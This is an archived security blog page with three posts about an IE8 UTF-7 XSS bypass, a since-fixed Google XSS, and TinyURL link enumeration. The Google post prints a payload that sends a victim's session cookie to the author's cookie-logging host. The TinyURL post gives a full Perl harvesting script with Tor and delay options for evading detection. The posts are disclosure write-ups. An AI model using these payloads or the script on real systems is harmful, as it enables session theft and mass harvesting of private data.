Archive for the ‘Exploits’ Category

« Older Entries
Newer Entries »

Exploiting IE8 UTF-7 XSS Vulnerability using Local Redirection

Tuesday, May 12th, 2009

Conventions:
Attacker Domain – Securethoughts.com
Target Domain – 50webs.com

If you don’t remember, there was an important XSS vulnerability reported in all major browsers a while ago – IE7, Firefox and Opera. More Information is available in the Secunia advisories here. The vulnerability was that if you don’t specify a charset in your application page, then it is susceptible to inherit the charset in the parent page via iframes. So, if you accidently land on an evil site, an attacker might be able to steal your application session since your usual XSS prevention stuff [<,>,",',etc] will not filter the utf-7 encoded chars and XSS will execute in your vulnerable domain. Proof of Concept that works in IE7 but not in IE8 -
http://www.securethoughts.com/security/ie8utf7/ie7utf-7.html

This vulnerability was patched in Firefox 2.0.0.2, Opera 9.20 and recently in Internet Explorer 8. Ideally, we should not be vulnerable to this attack anymore. However, I have found a way to attack the fix that was done in Internet Explorer 8. I have tested it working with IE8 RC1 and final release version IE8.0.6001.18702. I call this a “Local Redirection Attack”.

The attack works as follows:

1. You are authenticated to vulnerable domain e.g. 50webs.com.

2. You land onto the evil site via link –
http://www.securethoughts.com/security/ie8utf7/ie8utf-7.html.

3. The page loads into your IE8 browser.

4. IE8 thinks that it is loading a child page -
[http://www.securethoughts.com/security/ie8utf7/utf-71.html] from the same domain and hence removes the restriction on charset inheritance.

5. This is where Local Redirection Attack comes into play. The attacker sets a temporary redirect on the child page to vulnerable site [http://webappsec.50webs.com/utf-71.html]. Make sure that the link to vulnerable site is a page with your UTF-7 injected characters [Persistent/Reflected XSS]. In this case, my utf-71.html page on 50webs.com has a persistent XSS with UTF-7 characters.

6. The XSS executes in the context of vulnerable site. E.g. if you see below, you can see my 50webs.com member cookie appended with ‘XSS’ in an alert box.

IE8 UTF-7 Charset Inheritance Exploit using Local Redirection

I have been in touch with Jack from Microsoft Security Response Center (MSRC) team for the last 2 months. I would like to thank the Microsoft Security Team for their timely responses and letting me discuss these issues with the security community. They are actively working to resolve this issue and a fix for this vulnerability is expected to arrive in the next version of Internet Explorer, IE9.

Share:
[del.icio.us] [Digg] [Facebook] [Google] [LinkedIn] [Reddit] [StumbleUpon] [Technorati] [Twitter] [Yahoo!] More »

Tags: , , , , , ,
Posted in Browsers, Exploits, WebAppSec, XSS | 18 Comments »

Universal XSS Vulnerability in all Google Services can compromise your personal information

Friday, May 8th, 2009

Vulnerability Reported: 04/18/2009 9.33 pm
Google’s Response: 04/18/2009 10.19 pm (Wow! that was super fast for Saturday :) )
Vulnerability Fixed: 05/05/2009 7.05 pm
Change Propogated: 05/07/2009 3.19 pm

I recently reported a cross-scripting flaw to Google, which is now fixed. The vulnerability existed in Google’s Support Python Script where a malicious url is not sanitized for XSS character ‘ (single quote) before putting inside javascript variable logURL. As a result, it was possible to break the encapsulation of the var declaration and execute arbitary javascript commands on the main Google.com domain.

The only limitation was the following characters were either filtered out or url encoded – ” (double quote) < > (space) { }. However, this protection could be easily circumvented. I was able to write javascript statements to steal the session cookies [since characters such as ' ; . ( ) / = + were still available] and send it to my evil website. See the example given below.

Your Google.com domain cookie is the central Single Sign-On cookie to all google services. Once anyone gets it, he or she can use it to

1. Steal your emails.
2. Steal your contacts.
3. Steal your documents.
4. Steal your code.
5. Steal your sites.
6. Steal your website analytics.
7. Backdoor your iGoogle Homepage with malicious gadgets.
…. and there should be still some more things remaining that you can play with.


Simple Proof of Concept Code that displays your Google.com cookie in an alert box:-

http://google.com/support/webmasters/bin/answer.py?answer=34575&cbid=-1oudgq5c3804g';alert(document.cookie);//&src=cb&lev=index

Universal Google XSS in Python Script
More real-world example where an attacker will silently transfer your Google.com cookie to his or her evil site:-

http://google.com/support/webmasters/bin/answer.py?answer=34575&cbid=-1oudgq5c3804g';ifr=document.createElement('iframe');ifr.src='http:'+'//www.securethoughts.com/security/cookielogger/log.cgi?cookie='+escape(document.cookie);document.body.appendChild(ifr);//src=cb&lev=index


I would like thank the Google Security Team for their prompt responses and fixing this serious issue in a timely manner. If you think Google took a long time in fixing this vulnerability, think again. This python script is used in a lot of places. Try this Google Dork to see the usage of this script in almost all Google Services.

Share:
[del.icio.us] [Digg] [Facebook] [Google] [LinkedIn] [Reddit] [StumbleUpon] [Technorati] [Twitter] [Yahoo!] More »

Tags: , , ,
Posted in Exploits, WebAppSec, XSS | 10 Comments »

Unauthorized TinyURL URL Enumeration Vulnerability

Friday, February 20th, 2009

I am sure everyone has heard and used TinyUrl before. If you don’t know, TinyURL is kind of a web service that provides short aliases for easy redirection to long urls. The service is completely free and hence most people are tempted to use it. It solves the hard problem of remembering overly long urls.

There have been security vulnerabilities reported in TinyURL in the past, one of them is discussed by security researchers Pdp and Kuza55 here and here.

I would like to discuss another vulnerability here. I see an authorization issue with the way these user generated urls are accessible to anyone. Anyone can write a simple automated script to enumerate a large set of urls. The proof of concept code is shown below. I ran this script for a short while and was amused to see the amount of sensitive personal information that people unknowingly left in the URLs.

Some of the things I found include

  1. Username and Passwords in URLs : Weak web apps using credentials in GET still exist.
  2. Intranet URLs of Giant Corporations : Internal apps are generally not written with security in mind (fallible employee trust rule). Also, I see many urls that refer to internal company projects, bug databases, etc.
  3. Session ID in URLs : Many apps still pass session identifier as part of url. If the session identifier is active, your session can be easily hijacked.
  4. Spam URLs : This has been discussed many times in different places. Examples here and here.
  5. Resource Enumeration: I haven’t verified this, but definitely see it as a problem. If the resource pointed by the url is not protected by proper access controls, then an attacker can easily access it. Attacker does not need to guess the overly long url.

Download POF Code here. Use this code at your own risk.

#TinyURL URL Enumeration Script
#By Inferno {at} Securethoughts.com

use IO::Handle;
use LWP::UserAgent;
use Time::HiRes qw( sleep );

my $ua = LWP::UserAgent->new;
$ua->max_redirect(1);

#If you want to use Tor to protect your identity.
#$ua->proxy(['http'], 'http://127.0.0.1:8118/');

my $nd="";      # Length of ID
my $num="";     # Value of ID
my $url="";     # TinyURL Redirection Script Call
my $content=""; # HTTP Response from Redirection
my $temp="";    # Temporary Variable

open FILE, ">>:utf8", "tinyurl.out" or die("Cannot open file for output");
while(1)
{
	# Pick up a random ID length and value
	$nd=int(rand(8))+1;
	$num="";
	for($i=1;$i<=$nd;$i++)
	{
		$s=int(rand(36));
		$num.=($s>9)?chr($s+55):$s;
	}

	$temp="Processing ".$num."\n";
	syswrite(STDOUT, $temp, length($temp));

	# Construct the TinyURL Redirection URL
	$url = 'http://www.tinyurl.com/redirect.php?num='.$num;

	my $request = new HTTP::Request("GET", $url);
	my $response = $ua->request($request);
	$content=$response->as_string;

	# Check if a Location Header is present & write the URL.
	if($content =~ m/(Location\: )(.*)/i)
	{
		$temp=$num." ".$2."\n";
		syswrite(FILE, $temp, length($temp));
	}

	#Use this if you want to hide you tracks with a random delay
	#sleep((int(rand(500))/100.0));
}
close (FILE);
exit 0;
Share:
[del.icio.us] [Digg] [Facebook] [Google] [LinkedIn] [Reddit] [StumbleUpon] [Technorati] [Twitter] [Yahoo!] More »

Tags: , , ,
Posted in Auth(entication/orization), Exploits, Information Gathering, WebAppSec | 1 Comment »

« Older Entries
Newer Entries »